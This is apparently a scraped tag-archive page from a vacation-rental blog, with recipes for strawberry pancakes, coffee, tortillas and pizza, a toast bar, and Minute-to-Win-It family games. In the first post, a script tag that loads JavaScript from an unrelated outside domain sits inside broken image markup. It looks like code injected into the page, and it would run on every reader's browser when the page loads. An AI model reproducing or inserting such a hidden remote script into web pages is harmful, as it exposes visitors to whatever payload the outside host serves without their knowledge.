Tag Archives: Seaside Florida

Fresh Florida Strawberry Pancakes



Pancakes are a family favorite at our house, so much so that our son has declared every Sunday to be Pancake Day. To keep it interesting, I usually try to make a new pancake every week. It has been lot of fun to have this tradition and still keep it fresh. When we take family vacations to 30a or Seabrook, it’s fun to try to incorporate local flavors into our pancakes. One of our favorites that we picked up while visiting Florida in the spring is strawberry pancakes. They have the most delicious aroma that you can only get from fresh strawberries. This time of year, strawberries are making their way back into the markets and may even be starting to pop up in your strawberry patch at home, so good fresh strawberries should be easy to find. And make sure to save some for the topping as well. These will definitely be a family favorite!

Pancake breakfast at Sea Sabella in Seaside, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> FL” width=”1130″ height=”779″ /></a></p>
<h3><a href=strawberries-in-a-basket


  • 1 cup flour
  • 2 tablespoons of sugar
  • 3 teaspoons baking powder
  • ½ teaspoon of salt
  • 1 beaten egg
  • ½ cup milk
  • 6-8 strawberries hulled
  • 2 tablespoons of olive oil
  • vanilla extract



In a medium mixing bowl stir together the flour, sugar, baking powder, and salt. Make a well in the center of the dry mixture; set aside.

In another medium mixing bowl combine the beaten egg, vanilla extract and olive oil. In a blender blend half of the strawberries and milk and add to the egg mixture. Add egg mixture all at once to the dry mixture. Stir just till moistened. Dice the remaining half of the fresh strawberries and fold into the batter (batter should be lumpy).

For standard-size pancakes, pour about ¼ cup batter onto a hot, lightly greased griddle or heavy skillet. Cook over medium heat about 2 minutes on each side or till pancakes are golden brown, turning to second sides when pancakes have bubbly surfaces and edges are slightly dry. Serve warm. Makes 6 to 8 standard-size pancakes (6 servings).

  • Toppings
  • strawberries
  • Greek yogurt
  • fromage blanc
  • maple syrup


Vacation’s Favorite Cup of Coffee

Vacation's Favorite Coffee - Our Recipe and Ritual

There is something about rolling out of the coziest bed, brewing the perfect cup, and walking out on an expansive porch overlooking the coast that is just the ultimate sense of calm and comfort. We equip every Anthology vacation rental home with a coffee grinder and french press, just because we love the experience so much! So today we’re outlining our coffee ritual in hopes you’ll try it this weekend or on your next family vacation!

Vacation's Favorite Coffee - Our recipe and Ritual

Morning coffee is more than just a drink in our home, it is an important ritual to start the day. The smells and sounds of a fresh hand Brewer batch brewing is a beautiful way to wake up. After it becomes a part of your routine, no automatic coffee maker will do. Making a really fine cup of coffee is a process, not a long one, but in order to do it correctly it takes a little know how. Once you have the process down it becomes second nature and becomes part of the enjoyment.  You’ll be in heaven the first time you smell that freshly ground coffee (in my opinion, the only way to go) and begin to saturate those grounds. Here’s our favorite, no fuss way to make an artisan cup of coffee in the cozy comfort of your home.


Bring a kettle full of water to boil. Grab your french press and remove the plunger. Zero your scale and weigh out the coffee using a 16:1 ratio (16 parts water to one part coffee). Grind the coffee the in your grind on a coarse setting (this is very important). Place the the base of the french press on your scale and zero it out. Dump in the ground coffee and make sure the ground weight matches the beginning weight.

coffee-grinder2 coffee-grinder3

Start a timer and begin to saturate the grounds as you pour. Be sure to pour slowly so you can keep track of the scale to make sure you get the 16 to ratio correct.



Once all the water has been added carefully give the brew about 5-6 stirs back and forth with a spoon and replace the plunger (do not plunge yet). When the timer hits the 6 minute mark carefully press the plunger down. As soon as the plunger is all the way down immediately pour the coffee into serving cups or a thermal carafe. Enjoy!

plunging-coffee Finished-French-Press

Homemade Tortilla Recipe

Homemade Tortilla Recipe

We all have foods that bring us back to childhood. A big one for me is homemade flour tortillas. I remember my mom standing in front of a huge round bowl tossing in flour, salt and oil and hand mixing until they felt just right. When the mixture held together between her fingers she would know she had the correct ratio of ingredients and would add the hot water (which is very important to the process) and begin mixing and pinching the dough into little balls. When she was finished every surface of our countertops was covered in flour and little flattened discs of dough. We would have to wait the grueling 30 minute resting period before they were rolled out and thrown on the hot griddle.

A dry griddle would be warmed up on high heat. My mother impressively would roll these tortillas out to an almost see-through thinness. They would be draped all over the place waiting for their turn on the griddle. My siblings and I would line up in anticipation of what was to come. A tortilla would hit the hot griddle and immediately the surface would become covered in bubbles. It would be flipped after about 30 seconds and begin to puff up to incredible heights. One of us would immediately grab the hot tortilla, a stick of butter and tear back the waxy paper, rubbing cold butter all over the hot surface. The butter would melt instantly and we would roll the tortilla up and enjoy it on the spot!

Over the years I have spent a lot of time trying to reproduce and perfect my mother’s tortillas. I have simplified the process quite a bit while also figuring out the exact measurements that my mother knew just by instinct. Enjoy!


  • 3 cups All Purpose Flour
  • 1/3 cup plus 2 tablespoons cooking oil
  • 1 cup of hot water (don’t use it all unless needed)
  • 1 tsp salt.


In the bowl of a stand mixer add flour, salt and oil. Beat with whisk attachment until combined. To test the mixture grab a bit of it and pinch it in your hands, if it stays together it is ready. With the mixer running on low add about 3/4 cups of the hot water (make sure the water is hot not lukewarm), turn up to medium speed and continue mixing. The dough should come together in a nice smooth piece. If too dry add more water, if too sticky add a little flour.

Homemade Tortilla Recipe

Turn the dough ball out onto a lightly dusted surface. Knead a couple of time and dived the dough into about 15-16 pieces by pinching off a clementine sized piece. Roll each one into a little ball, dust with flour and flatten a bit. Cover with a towel and allow to rest for about 30 minutes (this is very important).

Homemade Tortilla Recipe

With about 5 minutes left heat a dry (no oil) skillet or griddle over medium high heat. Remove one of the flattened disks and roll out until very thin. Resist the urge to leave them thick as they will not cook evenly. Place the rolled out dough on the hot skillet, it should bubble up quite a bit. Flip after about 30 seconds and allow too cook for about another 30-45 seconds. Remove from heat and cover with a clean kitchen towel. Repeat with remaining dough. Keep on the counter for about a day or refrigerate for about 4 days. To warm heat on the stove over low heat for about 15 seconds per side. You can allow freeze the leftover tortilla if carefully wrapped for a couple of months. Enjoy!

Homemade Tortilla Recipe

Toast Bar

Anthology Toast Bar

Everyone loves toast. So whether entertaining guests or serving a family meal, everyone wins when you serve toast!  These days it seems the status of toast has been elevated from a hurried breakfast staple to a more sophisticated snack with with the growing popularity of avocado toast but, believe us, avocados aren’t the only thing that tastes delicious on toast. A good piece of buttered and toasted bread makes an excellent surface for just about anything you want to pile on top. Everyone has their idea of a perfect combination of toppings, so putting out a variety of familiar toppings and throwing in a few unexpected ones will let your guests get creative and experiment a bit. There’s really no wrong way to go about putting together a toast bar. Chances are, if it sounds good to you, it probably is, but we wanted to share a few of our tried and true favorites with you to help you get started.

Anthology Toast Bar

Of course, start with a heaping pile of buttered and toasted bread, we suggest a thinly sliced crusty peasant-style loaf. Now on to your toppings:

Anthology Toast Bar

Meats & Cheeses:


  • sauteed mushrooms
  • oven roasted tomatoes
  • roasted garlic
  • sliced radishes
  • thinly sliced lemons
  • mashed avocado

The Finishing Touches:

  • Fresh Basil
  • Thyme
  • Dill
  • Flaked salt

Anthology Toast Bar

Some of our very favorite combinations:

  • Ricotta, smoked salmon, dill, radishes, thinly sliced lemon and flaked salt
  • Mashed avocado, crispy bacon, oven roasted tomatoes, fresh basil
  • Ricotta, roasted garlic cloves, sauteed mushrooms, thyme and flaked salt.

Anthology Toast Bar

Roasted Garlic Method

Preheat your oven to 400 degrees, slice off the top of 2 heads of garlic, drizzle with olive oil and sprinkle with salt. Wrap each in and place on a cookie sheet or pan to roast for about 35 minutes. Remove from oven and allow to cool. The garlic cloves should pop out and be spreadable when you squeeze the head of garlic.

Roasted Tomato Method

Wash a dry one dry pint of grape or cherry tomatoes, pour into an oven proof skillet, drizzle with olive oil, and sprinkle with salt. Roast in a 400F oven for about 45 minutes. Use immediately or refrigerate unused portion for about 1 week.

Anthology Toast Bar

Minute-to-Win-it Game Night

Anthology's Minute to Win It Games on the Lawn in Rosemary Beach. Providence on the Green

Today we’re reaching into the Anthology archives for one of our most cherished and hysterical family traditions, a little Throwback Thursday if you will: Minute-to-Win-it Family Game Night. Minute-To-Win-It game night has become like an institution at our big family gatherings, and some of the stories and elaborations from our head-to-head challenges are legendary. We like competition almost as much as we like to eat, and come to think of it, I think we could combine those two loves for a future game.

Anthology's Minute to Win It Game Night in Rosemary Beach.

I  would be misrepresenting my family’s dynamic if I didn’t disclose to you that when we have Minute-To-Win-It game night the median age of the participants is roughly 31.44, though a new generation is aggressively trying to kick that number down a notch. I can’t wait for my own kids to be old enough to add their own games to the tradition, and too appreciate how this deep bond of family is only strengthened when we infuse it with fun and silliness.


Get together a group of people. Big or small, this game brings out the best in us all. Everyone will compete in several Minute-To-Win-It challenges, and whoever wins the most challenges at the end of the night is the victor and probably deserves to pick where everyone is going for dinner. These are just some of our favorites, but part of the fun is coming up with your own quirky challenges so don’t be afraid to get creative with your games.


Minute to Win It games in Rosemary Beach Fl with Anthology


  • Two plates
  • Petroleum jelly
  • A pile of cotton balls.


  1. Set up the plates 12′ apart, with the cotton balls placed in 1 plate. The plate with the cotton balls will be the starting plate.
  2. To play, the player must transport as many cotton balls from the starting bowl to the end bowl within 60 seconds.
  3. Set a timer for 1 minute. When the clock starts, one contestant at a time may dip their nose in petroleum jelly and attempt to pick up a cotton ball with their nose.
  4. The player may only apply petroleum jelly by dipping nose directly into the petroleum jelly. Hands may not be used.
  5. If player transports more than 1 cotton ball at a time, any cotton balls that are deposited in the end bowl will not count towards the total count.
  6. Player must deposit cotton ball into the end bowl directly from the nose without using any other body part or object.
  7. The player with the most cotton balls in the end bowl within 60 seconds wins the challenge and gets a point to their total Minute-To-Win-It “medal count”.


Minute to win it game night


  • A Nilla Wafer cookie (Well, I really preferred eating a Thin Mint, so feel free to use your discretion.)
  • A face


  1. When the clock starts, player may grab the first cookie and place it on the forehead.
  2. The cookie must remain in contact with the face (i.e. player may not toss the cookie from the forehead and catch it in the mouth).
  3. If a cookie falls, player may reset an intact cookie on the forehead for the next attempt.
  4. To complete the game, the player must get 3 cookies from their forehead to mouth within the 60-second time limit. Every player who accomplishes this challenge will receive a point added to their total Minute-To-Win-It “medal count”


Minute to win it game night


  • 5 paper grocery bags
  • A table


  1. To set up the game, you’ll need to cut each grocery bag to a different height (10, 8, 6, 4, 2) and place them on the floor right side up.
  2. Start the clock for 60 seconds. When the clock starts a player may attempt to pick up the tallest bag with their mouth and may only touch the floor with his or her feet.
  3. If any other part of the players body touches the floor other than the feet while attempting to grab a bag, the player must reset by standing up before making another attempt.
  4. To complete the game, players must have all 5 bags concurrently on the table within the 60-second time limit. Those who complete the challenge may add one point to their total Minute-To-Win-It “medal count”.




  • 2 balloons per player


  1. Each player is given two balloons. When the clock starts, all players release both balloons into the air.
  2. Players may not hold balloons, allow them to rest on the body, or hit the ground. If any one of the players balloons does this, the player is eliminated.
  3. Every player left standing at the end of 60 seconds receives 1 point towards their total Minute-To-Win-It “medal count”.




  • A doughnut for every player
  • String
  • Two chairs


  1. Tie a length of string between two chairs.
  2. With participants laying under the rope, tie pieces of string to the doughnuts and then to the across string, so the treats hang slightly above mouth level.
  3. Set the clock of 60-seconds. Each participant must eat an entire doughnut — no hands allowed — without letting it fall off the ribbon.
  4. If the doughnut falls or breaks off the player is disqualified.
  5. To win, the doughnut must be completely eaten from the string within 60 seconds. Every player that accomplishes this challenge receives 2 points toward their total Minute-To-Win-It “medal count”.


minute to win it games


  • Nails: 3.5 flat head
  • String
  • 2 chairs


  1. String the string taught between two chairs.
  2. When clock starts, player may grab the first nail and attempt to hang it from the string.
  3. If a nail falls, player may pick it up and continue playing.
  4. To complete the game, player must hang as many nails as possible within the 60-second time limit. The player(s) with the most nails hanging at the end of the 60-seconds will receive 1 point towards their total Minute-To-Win-It “medal count”.



  • Penne pasta
  • Spaghetti noodles
  • A Table


  1. Prior to game start, contestant must stand with hands at sides.
  2. Once the game begins, the contestant may grab the spaghetti noodle and place it into their mouth.
  3. Once the spaghetti noodle is placed in their mouth, the contestant may not use their hands to complete the game.
  4. The contestant must be careful not to break the spaghetti. Should the spaghetti break, the game may continue, but all six penne noodles must still fit onto the spaghetti noodle outside of the mouth.
  5. Penne may fall off spaghetti during an attempt, but only remains in play if it lands directly on the table.
  6. Penne may touch lips, but may not enter the mouth.
  7. To complete the game, the contestant must hold a spaghetti noodle with the mouth while picking up and holding six pieces of penne with it, so that they remain concurrently on the spaghetti within the allotted 60-second time limit and remain that way for three consecutive seconds. The winners may add 1 point to their overall “medal count”.




  • String
  • Gummy worm
  • Bowl
  • Pretzels


  1. Set up a bowl filled with pretzels.
  2. Tie gummy worm so that it hangs 1 foot from the tip of your finger.
  3. Prepare gummy worm by getting it wet and wringing it out until it’s sticky.
  4. When the clock starts, player may attempt to fish pretzels out of the fishbowl and get the pretzel into his or her mouth.
  5. If the player touches the string or gummy worm while a pretzel is attached, that pretzel won’t count.
  6. String may not be wound around the finger during an attempt.
  7. To win the game, player must successfully retrieve as many pretzels as possible from the bowl and get it into his or her mouth within the 60-second time limit. The player(s) with the most pretzels at the end of the 60-seconds has earned another point towards the total “medal count”

The player with the most points at the end of the games is the winner! Happiest of family game nights to you.



Date Night at Home: Recipes and Playlist

Anthology Date Night Recipes and Playlist for your stay in date night at your vacation home

There is something awfully special about a date night with your main squeeze. I love getting dressed up and visiting our favorite spot or trying something completely new together. However, there is something even sweeter to me about the the peace of being in our own space (donned in sweats) after our precocious toddler is off in dreamland. Especially when we’re on vacation and our sitter is miles away back home, it’s extra delightful to carve out time just for the two of us.

We believe in slowing down and enjoying the process as much as the end result. We’ve come up with a great date night that you can do in the comfort of your home or vacation home. Whether you take it to the patio or enjoy in the courtyard, we’ve got you covered from appetizer to playlist for your evening together.

So first things first, hit play, poor some wine and enjoy this soundtrack of our favorite date night tunes for spending an evening cooking and dining with that special someone.

Date Night Playlist

Anthology Date Night Recipes and Playlist for your stay in date night at your vacation home

Appetizer: Marcona Almonds & Marinated Olives & Cheese

Anthology Date Night Recipes and Playlist for your stay in date night at your vacation home

These are a couple of our favorite quick snacks to eat while prepping a great meal. Marcona Almonds are a variety of sweet almond from Spain. They are slightly shorter and more plump compared to traditional almonds and we promise you’ll fall in love with their rich buttery flavor. As for the olives, don’t be tempted by any found in a jar or can, go for the bulk olives at your local Mediterranean or gourmet grocery store – the varieties are endless. Our favorite cheese for this pairing is Manchego but an old favorite will do just as well.

Cocktail: Cherry-Maple Sour

Anthology Date Night Recipes and Playlist for your stay in date night at your vacation home


  • 2oz gin
  • 1 oz pure maple syrup
  • juice of one lemon
  • 1 teaspoonful of sour cherry jam
  • ice

In a shaker filled 3/4 of the way with ice, add gin, lemon juice, maple syrup and cherry jam. Shake vigorously until the outside of the shaker feels really cold. Strain into a chilled glass. Makes 1 cocktail.

Main Course: Build Your Own Pizza

Anthology Date Night Recipes and Playlist for your stay in date night at your vacation home

Anthology Date Night Recipes and Playlist for your stay in date night at your vacation home


  • 1lb ball of dough from your favorite pizza place or gourmet grocery store (we used Whole Foods)
  • Semolina or cornmeal
  • Favorite sauce or olive oil and minced garlic, herbs and sea salt
  • Favorite Toppings:
  • Artichoke hearts, mushrooms, sweet peppers, thinly sliced lemon, pancetta, tomatoes
  • Fresh mozzarella or cheese of choice
  • Finish toppings: fresh herbs, crushed pepper, arugula and lemon juice (your choice)


Anthology Date Night Recipes and Playlist for your stay in date night at your vacation home

Let your ball of dough rest at room temp covered with a kitchen towel for 30 minutes while you begin to prep ingredients.

Anthology Date Night Recipes and Playlist for your stay in date night at your vacation home Anthology Date Night Recipes and Playlist for your stay in date night at your vacation home

Preheat your oven to 500º F, if using a pizza stone make sure it is in there before you heat the oven. Prepare a pizza peel or the back or a cookie sheet by generously coating it with semolina or cornmeal. On a lightly floured surface place your ball of dough flatten it out a bit using the heel of you hand. Begin to stretch the dough by picking it and letting it hang and stretch, rotate and repeat until you have a large round. You can also roll it out but you will get more of flat, less bubbly pizza. Place the pizza crust on prepared peel or cookie sheet.

Anthology Vacation Date night Recipes and Playlist

Spread the sauce of you choice or a combination of olive oil, minced garlic, herbs and salt. Add some of your favorite toppings, cover with a bit of cheese and finish with a few more toppings.

Carefully slide pizza onto the the hot stone in the oven using a hard forward flick, then begin to pull away the peel. If not using a stone, bake on a cookie sheet. Bake pizza for about 8 minutes and check. If you want the toppings to brown a bit more, broil for about 3 minutes watching carefully, as not to burn. Remove pizza from the oven, allow to cool for a few minutes, add your finish toppings if desired and slice. If you want a more portable pizza for a picnic, simple fold the dough over like a taco, pinch the edges shut and bake until golden brown.

Anthology Vacation Date night Recipes and Playlist

Anthology Vacation Datenight Recipes and Playlist


You are already having such a good time why stop to make a complicated desert. Grab a pint of your favorite ice cream and serve it over grilled plums or peaches and a drizzle of honey. We recommend any of the Southern Craft Creamery flavors found at Modica Market in Seaside, FL! Tupelo Honey and Bay Laurel are our favorites!

Anthology Vacation Date night Recipes and PlaylistBon Date Night!

Thank you, Chris and Tricia Castro for sharing these incredible recipes!